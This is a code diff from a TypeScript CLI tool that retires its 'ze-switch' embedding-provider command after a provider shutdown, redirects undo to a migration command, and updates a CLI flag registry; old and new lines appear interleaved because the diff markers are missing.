const p = JSON.parse(raw) as ZeSwitchSnapshot;
|
||||
if (
|
||||
p &&
|
||||
typeof p.embedding_model === 'string' &&
|
||||
MODEL_ID_RE.test(p.embedding_model) &&
|
||||
Number.isInteger(p.embedding_dimensions) &&
|
||||
p.embedding_dimensions > 0 &&
|
||||
// A string "false" would pass a truthiness check and then FAIL the
|
||||
// strict ===false test below, re-enabling a reranker the snapshot says
|
||||
// was off — require boolean or absent.
|
||||
(p.search_reranker_enabled == null || typeof p.search_reranker_enabled === 'boolean') &&
|
||||
(p.search_reranker_model == null ||
|
||||
(typeof p.search_reranker_model === 'string' && MODEL_ID_RE.test(p.search_reranker_model)))
|
||||
) {
|
||||
return p;
|
||||
}
|
||||
} catch {
|
||||
/* corrupt JSON is `invalid` — the caller words the refusal */
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/** Pure builder for the undo redirect commands (exported for tests). */
|
||||
export function buildUndoCommands(
|
||||
snapshot: ZeSwitchSnapshot,
|
||||
brainArg: string,
|
||||
): { live: string; preview: string } {
|
||||
// Fold the pre-switch reranker into the same run: `--reranker` takes a
|
||||
// model id or `off`; omitted means the migration's own default.
|
||||
// enabled===false WINS over a lingering model id — the pre-switch brain
|
||||
// had reranking off, and `migrate embeddings --reranker <model>` would
|
||||
// re-enable it (the retired undo restored `enabled` independently).
|
||||
const rerankerArg =
|
||||
snapshot.search_reranker_enabled === false
|
||||
? ' --reranker off'
|
||||
: snapshot.search_reranker_model
|
||||
? ` --reranker ${snapshot.search_reranker_model}`
|
||||
: '';
|
||||
const live = `gbrain migrate embeddings --to ${snapshot.embedding_model} --dim ${snapshot.embedding_dimensions}${rerankerArg}${brainArg}`;
|
||||
return { live, preview: `${live} --dry-run` };
|
||||
}
|
||||
|
||||
/** cli.ts SELF_HELP_WITHOUT_ENGINE adapter: that record's handlers take
|
||||
* (engine, args); runZeSwitch takes (args, engine). Help never touches the
|
||||
* engine, so null is safe here. */
|
||||
export function runZeSwitchSelfHelp(_engine: never, args: string[]): Promise<void> {
|
||||
return runZeSwitch(args, null);
|
||||
}
|
||||
|
||||
export async function runZeSwitch(args: string[], engine: BrainEngine | null): Promise<void> {
|
||||
if (args.includes('--help') || args.includes('-h')) {
|
||||
printHelp();
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
const flags = parseFlags(args);
|
||||
// Both --json spellings, mirroring cli.ts's own convention.
|
||||
const json = args.some((a) => a === '--json' || (a.startsWith('--json=') && a !== '--json=false'));
|
||||
|
||||
// v0.46.3: ZeroEntropy is shutting down. Switching a brain ONTO it — including
|
||||
// resuming a half-applied forward switch — is disabled; only --undo (which
|
||||
// moves a brain OFF it) and --dry-run (read-only plan) still run. The whole
|
||||
// command is deleted in the September removal release.
|
||||
if (!flags.undo && !flags.dryRun) {
|
||||
const {
|
||||
ZEROENTROPY_SUNSET_DATE,
|
||||
renderCanonicalMigrationCommands,
|
||||
} = await import('../core/ai/defaults.ts');
|
||||
const msg =
|
||||
`ze-switch is disabled: ZeroEntropy shuts down its hosted API on ${ZEROENTROPY_SUNSET_DATE}.\n` +
|
||||
'Switching onto it (or resuming a half-applied switch) would strand this brain.\n' +
|
||||
`To LEAVE ZeroEntropy: ${renderCanonicalMigrationCommands().recommendedDryRun}\n` +
|
||||
'To undo a prior switch: gbrain ze-switch --undo';
|
||||
if (flags.json) {
|
||||
console.log(JSON.stringify({ status: 'refused', reason: 'provider_sunset', message: msg }));
|
||||
} else {
|
||||
console.error(msg);
|
||||
}
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
try {
|
||||
// --dry-run: just plan, never apply.
|
||||
if (flags.dryRun) {
|
||||
const plan = await planRetrievalUpgrade(engine);
|
||||
if (flags.json) {
|
||||
console.log(JSON.stringify({ status: 'planned', plan }, null, 2));
|
||||
} else {
|
||||
console.log(`Current model: ${plan.current_embedding_model} (${plan.current_dim}d)`);
|
||||
console.log(`Target model: ${plan.target_embedding_model ?? '(no change)'}`);
|
||||
console.log(`Target dim: ${plan.target_dim ?? '(no change)'}`);
|
||||
console.log(`Pages pending: chunker=${plan.pages_pending_chunker}, dim=${plan.pages_pending_dim}`);
|
||||
console.log(`Est cost: $${plan.est_cost_usd.toFixed(2)}`);
|
||||
console.log(`Est minutes: ${plan.est_minutes}`);
|
||||
console.log(`Schema change: ~${plan.est_schema_change_seconds}s`);
|
||||
console.log(`Offered: ${plan.ze_switch_offered}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// --resume: complete a half-applied switch.
|
||||
if (flags.resume) {
|
||||
if (flags.ignoreEnvOverride) {
|
||||
console.error('[ze-switch] WARNING: --ignore-env-override is set; env vars will silently override the switch at runtime.');
|
||||
}
|
||||
const result = await resumeRetrievalUpgrade(engine, {
|
||||
ignoreEnvOverride: flags.ignoreEnvOverride,
|
||||
});
|
||||
// v0.41.2.1: route through the env-override-aware renderer so
|
||||
// refused-status emits the ASCII warning box + exits non-zero.
|
||||
if (result.status === 'refused' && result.reason === 'env_override') {
|
||||
renderApplyResult(result, flags.json); // exits non-zero
|
||||
}
|
||||
if (flags.json) {
|
||||
console.log(JSON.stringify(result, null, 2));
|
||||
} else {
|
||||
console.log(`Resume status: ${result.status}`);
|
||||
}
|
||||
process.exit(result.status === 'applied' || result.status === 'skipped_already_applied' ? 0 : 1);
|
||||
}
|
||||
|
||||
// --undo: reverse switch.
|
||||
if (flags.undo) {
|
||||
if (flags.nonInteractive) {
|
||||
if (!flags.confirmReembed) {
|
||||
console.error('--undo --non-interactive requires --confirm-reembed (undo re-embeds at the prior width — costs real money).');
|
||||
process.exit(1);
|
||||
if (args.includes('--undo')) {
|
||||
// Read the pre-switch snapshot the old forward path stored. A missing,
|
||||
// corrupt, invalid-shape, or unreadable snapshot degrades to the plain
|
||||
// refusal (there is nothing to redirect to); `redirected` is reserved
|
||||
// for a validated snapshot. The failure states word the refusal
|
||||
// differently — telling the operator of a switched brain whose snapshot
|
||||
// failed validation that "no switch was recorded" would be false, and a
|
||||
// null engine here means the brain could not be reached at all.
|
||||
let read: SnapshotReadResult = engine ? { kind: 'missing' } : { kind: 'read_error' };
|
||||
if (engine) {
|
||||
try {
|
||||
const raw = await engine.getConfig(KEY_PREVIOUS_SNAPSHOT);
|
||||
if (raw) {
|
||||
const parsed = parseSnapshot(raw);
|
||||
read = parsed ? { kind: 'ok', snapshot: parsed } : { kind: 'invalid' };
|
||||
}
|
||||
const result = await undoRetrievalUpgrade(engine);
|
||||
if (flags.json) {
|
||||
console.log(JSON.stringify(result, null, 2));
|
||||
} else {
|
||||
console.log(`Undo status: ${result.status}`);
|
||||
}
|
||||
process.exit(result.status === 'undone' ? 0 : 1);
|
||||
} catch {
|
||||
read = { kind: 'read_error' };
|
||||
}
|
||||
// Interactive undo: shows cost-warning prompt.
|
||||
const result = await runUndoPrompt(engine);
|
||||
if (flags.json) {
|
||||
console.log(JSON.stringify(result, null, 2));
|
||||
}
|
||||
process.exit(result.status === 'undone' ? 0 : 1);
|
||||
}
|
||||
|
||||
// --non-interactive: apply without prompting.
|
||||
if (flags.nonInteractive) {
|
||||
if (!process.env.ZEROENTROPY_API_KEY && !flags.ignoreMissingKey) {
|
||||
const config = await engine.getConfig('zeroentropy_api_key');
|
||||
if (!config) {
|
||||
console.error('ZEROENTROPY_API_KEY not set. Pass --ignore-missing-key to switch anyway (embeddings will fail until you set a key).');
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
if (flags.ignoreEnvOverride) {
|
||||
console.error('[ze-switch] WARNING: --ignore-env-override is set; env vars will silently override the switch at runtime.');
|
||||
}
|
||||
const plan = await planRetrievalUpgrade(engine);
|
||||
const result = await applyRetrievalUpgrade(engine, plan, {
|
||||
ignoreEnvOverride: flags.ignoreEnvOverride,
|
||||
});
|
||||
// v0.41.2.1: render env-override refusal with ASCII box + exit non-zero.
|
||||
if (result.status === 'refused' && result.reason === 'env_override') {
|
||||
renderApplyResult(result, flags.json); // exits non-zero
|
||||
}
|
||||
if (flags.json) {
|
||||
console.log(JSON.stringify(result, null, 2));
|
||||
} else {
|
||||
console.log(`Switch status: ${result.status}`);
|
||||
}
|
||||
process.exit(
|
||||
result.status === 'applied' || result.status === 'skipped_already_applied' || result.status === 'skipped_no_work'
|
||||
? 0
|
||||
: 1,
|
||||
if (read.kind === 'ok') {
|
||||
const { live, preview } = buildUndoCommands(read.snapshot, brainSuffix());
|
||||
const message =
|
||||
`ze-switch no longer undoes in place (the retired action wrote config the runtime does not read).\n` +
|
||||
`To return this brain to its pre-switch provider, run:\n` +
|
||||
` ${preview} # cost preview\n` +
|
||||
` ${live}\n` +
|
||||
`(This reflects the recorded pre-switch snapshot; the preview shows the live\n` +
|
||||
` current->target plan and the migration verifies against the database before\n` +
|
||||
` changing anything — a brain that already migrated will report nothing to do.)`;
|
||||
emitAndExit(
|
||||
{
|
||||
status: 'redirected',
|
||||
reason: 'provider_sunset',
|
||||
undo_command: live,
|
||||
undo_preview: preview,
|
||||
message,
|
||||
},
|
||||
json,
|
||||
);
|
||||
}
|
||||
|
||||
// Interactive mode.
|
||||
const result = await runRetrievalUpgradePrompt(engine, { force: flags.force });
|
||||
if (flags.json) {
|
||||
console.log(JSON.stringify(result, null, 2));
|
||||
}
|
||||
process.exit(result.status === 'applied' || result.status === 'declined_this_run' || result.status === 'declined_forever' || result.status === 'non_tty_skip' || result.status === 'not_offered' ? 0 : 1);
|
||||
} finally {
|
||||
// Engine lifecycle is owned by the dispatcher.
|
||||
const undoFailure =
|
||||
read.kind === 'invalid'
|
||||
? 'A switch snapshot exists but is unreadable or failed validation — inspect the ze_switch_previous_snapshot config row before trusting any undo guidance.'
|
||||
: read.kind === 'read_error'
|
||||
? 'Could not read the switch snapshot (no brain configured, or the config read failed) — check the brain connection and retry.'
|
||||
: 'No prior switch snapshot recorded — nothing to undo.';
|
||||
emitAndExit(refusalEnvelope(undoFailure, { omitUndoHint: true }), json);
|
||||
}
|
||||
|
||||
// Every other invocation — bare, --dry-run, --resume, --non-interactive,
|
||||
// --force, any combination — refuses.
|
||||
emitAndExit(refusalEnvelope(), json);
|
||||
}
|
||||
|
||||
+2
-2
@@ -72,8 +72,8 @@ export function isValidZeroEntropyDim(dims: number): boolean {
|
||||
// Matryoshka — any positive integer up to the model's native size. When a
|
||||
// brain is configured with `embedding_dimensions` OUTSIDE that range, OpenAI
|
||||
// returns HTTP 400 at first embed. We catch it locally with a paste-ready
|
||||
// fix so users don't see opaque "vector dimension mismatch" errors after
|
||||
// `gbrain ze-switch --undo` lands them on OpenAI at the wrong dim.
|
||||
// fix so users don't see opaque "vector dimension mismatch" errors after a
|
||||
// `gbrain migrate embeddings --to openai:...` lands them at the wrong dim.
|
||||
const OPENAI_TEXT3_MAX_DIMS: Record<string, number> = {
|
||||
'text-embedding-3-small': 1536,
|
||||
'text-embedding-3-large': 3072,
|
||||
|
||||
@@ -27,7 +27,7 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
|
||||
'brainstorm': ['--aliases', '--all', '--brain', '--chunker-debug', '--code', '--compile', '--fast', '--file', '--fix', '--force', '--force-rechunk', '--force-resume', '--from-pages', '--full', '--help', '--http', '--include-null-signature', '--json', '--judge-model', '--lang', '--limit', '--list-runs', '--markdown', '--max-cost', '--max-far-set', '--max-ideas-per-judge-call', '--model', '--no-embed', '--no-embedding', '--no-extract', '--no-save', '--pattern', '--pending', '--reset', '--resolve', '--resume', '--retry-failed', '--retry-judge', '--save', '--source', '--stale', '--strict-budget', '--supersessions', '--surface', '--thin', '--timeout', '--token-ttl', '--yes'],
|
||||
'cache': ['--brain', '--fast', '--force', '--from-pages', '--help', '--http', '--json', '--no-embedding', '--source', '--surface', '--token-ttl', '--yes'],
|
||||
'calibration': ['--ab', '--aliases', '--all', '--allow-empty', '--apply', '--asof', '--auto', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--budget-usd-per-day', '--by-mention', '--content', '--date', '--days', '--dry-run', '--entities', '--explain', '--fast', '--federated', '--file', '--follow', '--force', '--from-pages', '--help', '--holder', '--http', '--image', '--include-null-signature', '--json', '--key-prefix', '--kind', '--lang', '--limit', '--markdown', '--max-usd', '--mode', '--multimodal', '--near-symbol', '--no-embedding', '--no-extract', '--no-federated', '--offset', '--path', '--pattern', '--pending', '--phase', '--progress-interval', '--progress-json', '--quiet', '--regenerate', '--repo', '--reset', '--resolve', '--restore-only', '--save', '--scrub-gstack', '--session', '--session-id', '--since', '--slug', '--slugs', '--source', '--source-guard', '--stale', '--stats', '--supersessions', '--surface', '--symbol-kind', '--thin', '--token-ttl', '--trusted-extraction', '--undo-wave', '--url', '--with-calibration', '--with-db', '--yes'],
|
||||
'call': ['--aliases', '--all', '--all-sources', '--as-context', '--auto-fix', '--background', '--brain', '--by-mention', '--catch-up', '--concurrency', '--confirm-destructive', '--content', '--cost-estimate', '--count', '--days', '--depth', '--dim', '--dir', '--direction', '--enable-dcr', '--enable-dcr-insecure', '--explain', '--fast', '--federated', '--file', '--fix', '--follow', '--force', '--from', '--from-meetings', '--grant-types', '--grep', '--hard-deadline', '--help', '--http', '--image', '--include-expired', '--include-frontmatter', '--include-null-signature', '--infer-dates', '--install', '--interval', '--json', '--key', '--kind', '--lang', '--limit', '--link-source', '--link-type', '--llm', '--migrate-only', '--missing-path', '--multimodal', '--ner', '--no-embed', '--no-expand', '--no-extract', '--no-federated', '--no-hard-deadline', '--no-retry-connect', '--no-save', '--older-than', '--page', '--param', '--params', '--password', '--path', '--pattern', '--pending', '--pglite', '--port', '--probe-pglite', '--progress-interval', '--progress-json', '--public-url', '--queue', '--quiet', '--reenrich-after', '--refresh-cache', '--remediate', '--remediation-plan', '--repo', '--reset', '--resolve', '--restore-only', '--save', '--scopes', '--session', '--sigma', '--since', '--slug', '--slug-prefix', '--source', '--source-guard', '--source-id', '--stale', '--status', '--stdin', '--strategy', '--suites', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--synthesize', '--tag', '--thin', '--timeout', '--to', '--today', '--token', '--token-ttl', '--tools-json', '--type', '--uninstall', '--url', '--version', '--watch', '--with-calibration', '--workers', '--yes'],
|
||||
'call': ['--aliases', '--all', '--all-sources', '--as-context', '--auto-fix', '--background', '--brain', '--by-mention', '--catch-up', '--concurrency', '--confirm-destructive', '--content', '--cost-estimate', '--count', '--days', '--depth', '--dim', '--dir', '--direction', '--enable-dcr', '--enable-dcr-insecure', '--explain', '--fast', '--federated', '--file', '--fix', '--follow', '--force', '--from', '--from-meetings', '--grant-types', '--grep', '--hard-deadline', '--help', '--http', '--image', '--include-expired', '--include-frontmatter', '--include-null-signature', '--infer-dates', '--install', '--interval', '--json', '--key', '--kind', '--lang', '--limit', '--link-source', '--link-type', '--llm', '--migrate-only', '--missing-path', '--multimodal', '--ner', '--no-embed', '--no-expand', '--no-extract', '--no-federated', '--no-hard-deadline', '--no-retry-connect', '--no-save', '--older-than', '--page', '--param', '--params', '--password', '--path', '--pattern', '--pending', '--pglite', '--port', '--probe-pglite', '--progress-interval', '--progress-json', '--public-url', '--queue', '--quiet', '--reenrich-after', '--refresh-cache', '--remediate', '--remediation-plan', '--repo', '--reset', '--resolve', '--restore-only', '--save', '--scopes', '--session', '--sigma', '--since', '--slug', '--slug-prefix', '--source', '--source-guard', '--source-id', '--stale', '--status', '--stdin', '--strategy', '--suites', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--synthesize', '--tag', '--thin', '--timeout', '--to', '--today', '--token', '--token-ttl', '--tools-json', '--type', '--undo', '--uninstall', '--url', '--version', '--watch', '--with-calibration', '--workers', '--yes'],
|
||||
'capture': ['--aliases', '--all', '--allow-empty', '--apply', '--asof', '--auto', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--budget-usd-per-day', '--by-mention', '--content', '--date', '--days', '--depth', '--entities', '--fast', '--federated', '--file', '--follow', '--force', '--from-pages', '--help', '--http', '--image', '--include-null-signature', '--json', '--kind', '--limit', '--max-usd', '--mcp-only', '--mode', '--multimodal', '--no-embedding', '--no-extract', '--no-federated', '--offset', '--path', '--pattern', '--pending', '--progress-interval', '--progress-json', '--quiet', '--repo', '--reset', '--resolve', '--restore-only', '--save', '--scopes', '--session', '--session-id', '--since', '--slug', '--slugs', '--source', '--source-guard', '--stale', '--stats', '--stdin', '--supersessions', '--surface', '--thin', '--timeout', '--token-ttl', '--trusted-extraction', '--type', '--url', '--what', '--where', '--who', '--with-db', '--yes'],
|
||||
'check-backlinks': ['--background', '--brain', '--brain-wide-max-cost-usd', '--dir', '--dry-run', '--explain', '--follow', '--help', '--include-frontmatter', '--json', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--source', '--stale', '--timeout', '--type'],
|
||||
'check-resolvable': ['--brain', '--dry-run', '--fix', '--help', '--json', '--skills-dir', '--source', '--strict', '--verbose'],
|
||||
@@ -40,8 +40,8 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
|
||||
'config': ['--aliases', '--all', '--brain', '--column', '--coverage-override', '--detail', '--embedding-dimensions', '--embedding-model', '--fast', '--federated-read', '--follow', '--force', '--from-pages', '--help', '--http', '--include-null-signature', '--json', '--markdown', '--model', '--multimodal', '--no-embedding', '--no-extract', '--no-federated', '--pattern', '--pending', '--pglite', '--reset', '--resolve', '--source', '--stale', '--supersessions', '--surface', '--thin', '--token-ttl', '--yes'],
|
||||
'connect': ['--agent', '--auto', '--bearer-token-env-var', '--bind', '--brain', '--client-id', '--client-secret', '--delete-brain', '--env', '--force', '--grant-types', '--header', '--help', '--http', '--install', '--json', '--name', '--oauth', '--public-url', '--pure', '--register', '--remove', '--scope', '--scopes', '--show-token', '--source', '--status', '--timeout-ms', '--token', '--token-endpoint-auth-method', '--url', '--version', '--yes'],
|
||||
'conversation-parser': ['--aliases', '--all', '--brain', '--help', '--include-null-signature', '--json', '--no-extract', '--pattern', '--pending', '--reset', '--resolve', '--source', '--stale', '--supersessions', '--thin'],
|
||||
'doctor': ['--ab', '--abbrev-ref', '--abi', '--abort', '--aliases', '--all', '--allow-shell-jobs', '--allow-unverified-remote', '--auto', '--auto-fix', '--auto-update', '--background', '--batch', '--brain', '--brain-wide-max-cost-usd', '--branch', '--break-lock', '--build-index', '--by-mention', '--by-type', '--cached', '--check', '--column', '--compile', '--concurrency', '--confidence', '--confirm', '--content-audit', '--count', '--days', '--delete-brain', '--detach', '--detail', '--diff-filter', '--dim', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--env', '--exclude-standard', '--exclusive', '--explain', '--fast', '--file', '--fix', '--follow', '--force', '--force-break-lock', '--force-retry', '--force-schema', '--force-sunset-target', '--format', '--fresh', '--from-meetings', '--from-pages', '--full', '--gbrain-bin', '--get', '--git-dir', '--git-path', '--grant-types', '--harness', '--health-interval', '--help', '--history', '--home', '--http', '--id', '--ignore-env-override', '--ignore-missing-key', '--include-flagged', '--include-frontmatter', '--include-null-signature', '--include-pseudo', '--index-audit', '--init', '--input', '--install', '--is-inside-work-tree', '--job-isolation', '--jq', '--json', '--lang', '--limit', '--local', '--locks', '--markdown', '--max-age', '--max-cost', '--max-cost-usd', '--max-crashes', '--max-jobs', '--max-rss', '--max-usd', '--mcp-even-if-plugin', '--mcp-only', '--migrate-only', '--model', '--multimodal', '--name', '--name-only', '--name-status', '--near-symbol', '--nice', '--no', '--no-capture', '--no-cron', '--no-embed', '--no-embedding', '--no-extract', '--no-federated', '--no-hooks', '--no-mutate', '--no-verify', '--oauth-client-secret', '--older-than', '--once', '--others', '--overwrite', '--parallel', '--params', '--pat-file', '--path', '--pattern', '--pending', '--pglite', '--phase', '--pid-file', '--porcelain', '--port', '--priority', '--probe-pglite', '--progress-interval', '--progress-json', '--project', '--pure', '--push-only', '--query', '--queue', '--quiet', '--rebase', '--rebuild-rollup', '--refresh', '--refresh-unqualified', '--regenerate', '--remediate', '--remediation-plan', '--remove', '--repo', '--reranker', '--reset', '--resolve', '--restore-only', '--resume', '--retarget', '--review-lower', '--rollback', '--scope', '--scopes', '--set', '--short', '--show-current', '--show-toplevel', '--since', '--skills-dir', '--skip-bare-tweet', '--skip-failed', '--skip-urls', '--skip-verify', '--slugs', '--source', '--source-id', '--stale', '--stats', '--status', '--strategy', '--strict', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--target', '--target-score', '--thin', '--timeout', '--to', '--token', '--token-name', '--token-ttl', '--top-k', '--type', '--undo', '--undo-wave', '--unsafe-bypass-dream-guard', '--unset-all', '--untracked-files', '--url', '--use-captured-snapshot', '--user-hooks', '--verbose', '--verify', '--version', '--window', '--with-calibration', '--workers', '--yes'],
|
||||
'dream': ['--against', '--aliases', '--all', '--allow-regression', '--anchor', '--asof', '--audit-rejects', '--background', '--batch', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--budget-usd', '--budget-usd-answer', '--budget-usd-retrieval', '--by-type', '--by-type-floor', '--cancel-unmatched', '--code', '--committed-baseline', '--compare', '--compile', '--concurrent', '--ctx-size', '--cycles', '--date', '--detail', '--dim', '--dimensions', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--embeddings', '--expansion', '--explain', '--fast', '--federated', '--fix', '--fixtures', '--follow', '--force', '--force-break-lock', '--force-rechunk', '--force-retry', '--format', '--from', '--from-db', '--from-pages', '--gold', '--harness', '--help', '--http', '--include-holdout', '--include-null-signature', '--input', '--install', '--json', '--judge-model', '--justification', '--keyword-only', '--lang', '--limit', '--llm', '--markdown', '--max-age', '--max-cost', '--max-cost-usd', '--max-runtime', '--max-tokens', '--max-usd', '--mcp-only', '--min-recall', '--mode', '--model', '--models', '--modes', '--multimodal', '--name', '--name-only', '--near-symbol', '--no', '--no-embed', '--no-embedding', '--no-extract', '--no-federated', '--no-llm', '--no-mutate', '--no-trajectory', '--once', '--out', '--output', '--output-dir', '--parallel', '--path', '--pattern', '--pending', '--pglite', '--phase', '--priority', '--progress-interval', '--progress-json', '--pull', '--quiet', '--receipt-dir', '--reconcile-queue', '--remediate', '--repo', '--reranking', '--reset', '--resolve', '--restore-only', '--resume-from', '--retrieval-only', '--rounds', '--rubric-version', '--save', '--seed', '--short', '--show-toplevel', '--since', '--skip-replay', '--slot-a-model', '--slot-b-model', '--slot-c-model', '--slug', '--slug-prefix', '--source', '--source-guard', '--source-id', '--stale', '--suite', '--suites', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--take', '--task', '--thin', '--threshold', '--timeout', '--to', '--token-ttl', '--top-k', '--undo', '--unsafe-bypass-dream-guard', '--update-baseline', '--verify', '--version', '--window', '--yes'],
|
||||
'doctor': ['--ab', '--abbrev-ref', '--abi', '--abort', '--aliases', '--all', '--allow-shell-jobs', '--allow-unverified-remote', '--auto', '--auto-fix', '--auto-update', '--background', '--batch', '--brain', '--brain-wide-max-cost-usd', '--branch', '--break-lock', '--build-index', '--by-mention', '--by-type', '--cached', '--check', '--column', '--compile', '--concurrency', '--confidence', '--confirm', '--content-audit', '--count', '--days', '--delete-brain', '--detach', '--detail', '--diff-filter', '--dim', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--env', '--exclude-standard', '--exclusive', '--explain', '--fast', '--file', '--fix', '--follow', '--force', '--force-break-lock', '--force-retry', '--force-schema', '--force-sunset-target', '--format', '--fresh', '--from-meetings', '--from-pages', '--full', '--gbrain-bin', '--get', '--git-dir', '--git-path', '--grant-types', '--harness', '--health-interval', '--help', '--history', '--home', '--http', '--id', '--ignore-env-override', '--ignore-missing-key', '--include-flagged', '--include-frontmatter', '--include-null-signature', '--include-pseudo', '--index-audit', '--init', '--input', '--install', '--is-inside-work-tree', '--job-isolation', '--jq', '--json', '--lang', '--limit', '--local', '--locks', '--markdown', '--max-age', '--max-cost', '--max-cost-usd', '--max-crashes', '--max-jobs', '--max-rss', '--max-usd', '--mcp-even-if-plugin', '--mcp-only', '--migrate-only', '--model', '--multimodal', '--name', '--name-only', '--name-status', '--near-symbol', '--nice', '--no', '--no-capture', '--no-cron', '--no-embed', '--no-embedding', '--no-extract', '--no-federated', '--no-hooks', '--no-mutate', '--no-verify', '--oauth-client-secret', '--older-than', '--once', '--others', '--overwrite', '--parallel', '--params', '--pat-file', '--path', '--pattern', '--pending', '--pglite', '--phase', '--pid-file', '--porcelain', '--port', '--priority', '--probe-pglite', '--progress-interval', '--progress-json', '--project', '--pure', '--push-only', '--query', '--queue', '--quiet', '--rebase', '--rebuild-rollup', '--refresh', '--refresh-unqualified', '--regenerate', '--remediate', '--remediation-plan', '--remove', '--repo', '--reranker', '--reset', '--resolve', '--restore-only', '--resume', '--retarget', '--review-lower', '--rollback', '--scope', '--scopes', '--set', '--short', '--show-current', '--show-toplevel', '--since', '--skills-dir', '--skip-bare-tweet', '--skip-failed', '--skip-urls', '--skip-verify', '--slugs', '--source', '--source-id', '--stale', '--stats', '--status', '--strategy', '--strict', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--target', '--target-score', '--thin', '--timeout', '--to', '--token', '--token-name', '--token-ttl', '--top-k', '--type', '--undo-wave', '--unsafe-bypass-dream-guard', '--unset-all', '--untracked-files', '--url', '--use-captured-snapshot', '--user-hooks', '--verbose', '--verify', '--version', '--window', '--with-calibration', '--workers', '--yes'],
|
||||
'dream': ['--against', '--aliases', '--all', '--allow-regression', '--anchor', '--asof', '--audit-rejects', '--background', '--batch', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--budget-usd', '--budget-usd-answer', '--budget-usd-retrieval', '--by-type', '--by-type-floor', '--cancel-unmatched', '--code', '--committed-baseline', '--compare', '--compile', '--concurrent', '--ctx-size', '--cycles', '--date', '--detail', '--dim', '--dimensions', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--embeddings', '--expansion', '--explain', '--fast', '--federated', '--fix', '--fixtures', '--follow', '--force', '--force-break-lock', '--force-rechunk', '--force-retry', '--format', '--from', '--from-db', '--from-pages', '--gold', '--harness', '--help', '--http', '--include-holdout', '--include-null-signature', '--input', '--install', '--json', '--judge-model', '--justification', '--keyword-only', '--lang', '--limit', '--llm', '--markdown', '--max-age', '--max-cost', '--max-cost-usd', '--max-runtime', '--max-tokens', '--max-usd', '--mcp-only', '--min-recall', '--mode', '--model', '--models', '--modes', '--multimodal', '--name', '--name-only', '--near-symbol', '--no', '--no-embed', '--no-embedding', '--no-extract', '--no-federated', '--no-llm', '--no-mutate', '--no-trajectory', '--once', '--out', '--output', '--output-dir', '--parallel', '--path', '--pattern', '--pending', '--pglite', '--phase', '--priority', '--progress-interval', '--progress-json', '--pull', '--quiet', '--receipt-dir', '--reconcile-queue', '--remediate', '--repo', '--reranking', '--reset', '--resolve', '--restore-only', '--resume-from', '--retrieval-only', '--rounds', '--rubric-version', '--save', '--seed', '--short', '--show-toplevel', '--since', '--skip-replay', '--slot-a-model', '--slot-b-model', '--slot-c-model', '--slug', '--slug-prefix', '--source', '--source-guard', '--source-id', '--stale', '--suite', '--suites', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--take', '--task', '--thin', '--threshold', '--timeout', '--to', '--token-ttl', '--top-k', '--unsafe-bypass-dream-guard', '--update-baseline', '--verify', '--version', '--window', '--yes'],
|
||||
'edges-backfill': ['--aliases', '--all', '--all-sources', '--brain', '--concurrency', '--federated', '--help', '--include-null-signature', '--json', '--max-age', '--max-chunks', '--max-cost-usd', '--no-extract', '--no-federated', '--older-than', '--path', '--pattern', '--pending', '--repo', '--reset', '--resolve', '--restore-only', '--source', '--source-guard', '--stale', '--supersessions', '--thin', '--timeout', '--workers'],
|
||||
'embed': ['--aliases', '--all', '--background', '--batch-size', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--catch-up', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--fast', '--fix', '--follow', '--force', '--force-break-lock', '--from-pages', '--help', '--http', '--include-null-signature', '--json', '--lang', '--markdown', '--max-age', '--max-cost-usd', '--model', '--multimodal', '--name', '--near-symbol', '--no', '--no-embed', '--no-embedding', '--no-extract', '--pace', '--pace-max-concurrency', '--parallel', '--path', '--pattern', '--pending', '--pglite', '--prefix', '--priority', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--reset', '--resolve', '--restore-only', '--serial', '--slugs', '--source', '--stale', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--thin', '--timeout', '--to', '--token-ttl', '--version'],
|
||||
'enrich': ['--aliases', '--all', '--all-sources', '--allow-empty', '--apply', '--asof', '--auto', '--background', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--budget-usd-per-day', '--by-mention', '--clone-dir', '--code', '--concurrency', '--confirm-destructive', '--content', '--date', '--days', '--detail', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--entities', '--explain', '--fast', '--federated', '--file', '--fix', '--follow', '--force', '--force-break-lock', '--from-pages', '--help', '--http', '--image', '--include-null-signature', '--json', '--judge-model', '--kind', '--lang', '--limit', '--markdown', '--max-age', '--max-cost', '--max-cost-usd', '--max-runtime', '--max-usd', '--min-context', '--mode', '--model', '--multimodal', '--near-symbol', '--no', '--no-embed', '--no-embedding', '--no-extract', '--offset', '--older-than', '--order', '--path', '--pattern', '--pending', '--progress-interval', '--progress-json', '--quiet', '--reenrich-after', '--remediate', '--reset', '--resolve', '--restore-only', '--resume', '--save', '--session', '--session-id', '--since', '--slug', '--slugs', '--source', '--source-id', '--stale', '--stats', '--supersessions', '--surface', '--symbol-kind', '--thin', '--thin-threshold', '--timeout', '--to', '--token-ttl', '--trusted-extraction', '--types', '--url', '--url-managed', '--version', '--with-db', '--workers', '--yes'],
|
